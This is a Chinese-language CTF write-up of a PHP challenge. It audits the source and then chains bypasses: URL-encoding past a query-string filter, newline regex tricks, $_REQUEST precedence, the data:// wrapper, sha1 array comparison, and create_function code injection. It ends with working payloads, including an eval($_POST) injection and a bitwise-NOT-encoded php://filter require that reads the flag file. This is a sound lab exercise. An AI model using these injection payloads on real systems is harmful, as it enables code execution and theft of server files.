$_SERVER['QUERY_STRING']绕过以及 y1ngzuishuai 的正则匹配绕过以及$_REQUEST 的字母匹配绕过以及sha1()函数绕过以及create_function () 代码注入

$_SERVER[‘QUERY_STRING’]绕过以及 y1ngzuishuai 的正则匹配绕过以及$_REQUEST 的字母匹配绕过以及sha1()函数绕过以及create_function () 代码注入

打开页面,发现是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 <?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!

通过对代码的审计,我们可以利用

1
2
include "flag.php";
$code('', $arg);

来构造函数,执行恶意代码,但是我们需要绕过6个if

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))


if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute')


foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))

if (file_get_contents($file) !== 'debu_debu_aqua')

if ( sha1($shana) === sha1($passwd) && $shana != $passwd )

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) )

对于第一个if,我们可以看向$_SERVER[‘QUERY_STRING’],作用是获取查询语句,即获取?后面的值,而$_SERVER[]还有其它的参数的值,作用各不相同

1
2
3
4
5
$_SERVER["REQUEST_URI"]:获取http://localhost后面的值,包括/

$_SERVER["SCRIPT_NAME"]:获取当前脚本的路径

$_SERVER["PHP_SELF"]:获取当前正在执行脚本的文件名

$_SERVER[]使用的实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1,http://localhost/aaa/ (打开aaa中的index.php)
结果:
$_SERVER['QUERY_STRING'] = "";
$_SERVER['REQUEST_URI'] = "/aaa/";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

2,http://localhost/aaa/?p=222 (附带查询)
结果:
$_SERVER['QUERY_STRING'] = "p=222";
$_SERVER['REQUEST_URI'] = "/aaa/?p=222";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

3,http://localhost/aaa/index.php?p=222&q=333
结果:
$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_SERVER['REQUEST_URI'] = "/aaa/index.php?p=222&q=333";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

而$_SERVER[‘QUERY_STRING’]有个特性,就是不会进行URLDecode,而$_GET[]会,所以可以通过url编码绕过第一个if

对于第二个if

1
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute')

我们可以看到preg_match中的/^$/可知是单行的匹配,而且这个if的思路是debu参数的值既要是aqua_is_cute,又不可以是aqua_is_cute,所以对于这种情况,我们可以使用换行符%0a来绕过,即

1
debu=%0aaqua_is_cute

对于第三个if

1
2
foreach($_REQUEST as $value) { 
if(preg_match('/[a-zA-Z]/i', $value))

由于这里想限制我们传入的值不可以是字母,而$_REQUEST不仅会接收get请求,也会接收post请求和cookie请求,但是post优先级比较大,所以我们只需get传入参数,post再传入传入相同参数,便可绕过,此时php.ini中的variables_order的设置,默认为

1
variables_order = "GPCS"

对于第四个if

1
if (file_get_contents($file) !== 'debu_debu_aqua')

可以使用data伪协议进行绕过,即

1
data://text/plain,debu_debu_aqua

对于第五个if

1
if ( sha1($shana) === sha1($passwd) && $shana != $passwd )

我们可以构造数组进行绕过,因为传入sha1()函数的参数的值为数组时会报错,返回false,所以当构造数组时可以绕过,即

1
shana[]=1&passwd[]=2

对于第六个if

1
2
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) )

我们可以看向正则中匹配的地方

1
/^[a-z0-9]*$/isD

可以看见后面是isD,其中i是不分大小写,而s是.匹配包括换行的所有元素,D是$只匹配字符串末尾,不匹配换行,而/^*$/意思是不能从头到尾是字母和数字,所以我们可以使用create_function()函数

create_function()

create_function()函数有两个参数$args和$code,用于创建一个lambda样式的函数

实例

php创建一个函数,即

1
2
3
function myFunc($a,$b){
return $a+$b;
}

然后使用create_function()函数创建相同的myFunc()函数

1
$myFunc=create_function('$a,$b','return($a+$b);');

1
2
3
function myFunc($a,$b){
return $a+$b;
}

所以我们可以这样使用这个create_function函数,来执行我们想要的代码
create_function构造

1
2
<?php
$myFunc = create_function('$a, $b', 'return($a+$b);}eval($_POST['Y1ng']);\\');

执行时

1
2
3
4
function myFunc($a, $b){
return $a+$b;
}
eval($_POST['Y1ng']);//}

但是因为$arg被过滤太多的系统函数,所以我们可以使用get_defined_vars()来输出所有的变量和值,所以我们可以构造

1
flag[arg]=;}var_dump(get_defined_vars());

我们可以看见它让我们在rea1fl4g.php中读取flag,所以我们可以使用require代替include包含,因为include被过滤了,而由于过滤了双引号,所以可以使用base64_decode()来绕过

1
flag[arg]=;}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars);//

来读取flag,但是这个方法我试不通,所以我们使用了取反来读,exp

1
2
3
4
<?php

$s = 'php://filter/convert.base64-encode/resource=rea1fl4g.php';
echo urlencode(~$s);

然后构造

1
flag[arg]=}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F);//

对于这题注意的点是要将cookie删掉,否则绕不过第三个if

参考文章:[https://blog.csdn.net/rfrder/article/details/111824177]

[https://www.gem-love.com/ctf/770.html]

[https://www.php.net/manual/zh/reference.pcre.pattern.modifiers.php]